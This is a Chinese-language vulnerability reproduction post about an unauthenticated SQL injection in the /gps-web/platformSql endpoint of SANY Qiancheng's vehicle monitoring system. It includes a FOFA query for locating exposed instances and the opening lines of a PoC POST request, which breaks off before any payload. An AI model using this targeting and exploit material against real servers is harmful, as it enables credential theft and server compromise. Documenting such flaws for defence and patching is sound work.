三一谦成 车辆监控综合管理系统 platformSql SQL注入漏洞复现

0x01 产品简介

三一谦成科技有限公司的车辆监控综合管理系统，作为车联网领域的重要产品，以其全面、高效、智能的特点，广泛应用于各类车辆管理场景。是基于先进的物联网、大数据、云计算等技术，专为车辆监控与管理设计的一站式解决方案。该系统能够实现对车辆的实时监控、数据分析、异常报警、远程调度等功能，帮助用户提升车辆运营效率，降低运营成本，保障行车安全。

0x02 漏洞概述

由于三一谦成 车辆监控综合管理系统 /gps-web/platformSql 接口未做任何访问控制和输入校验或过滤，导致未经身份验证的远程攻击者可利用此接口执行任意SQL语句，获取管理员账号密码造成信息泄露，深入利用还可能获取服务器权限。

0x03 复现环境

FOFA：

title=="欢迎光临..." && body="/gps-web"

0x04 漏洞复现 

PoC

POST /gps-web/platformSql HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.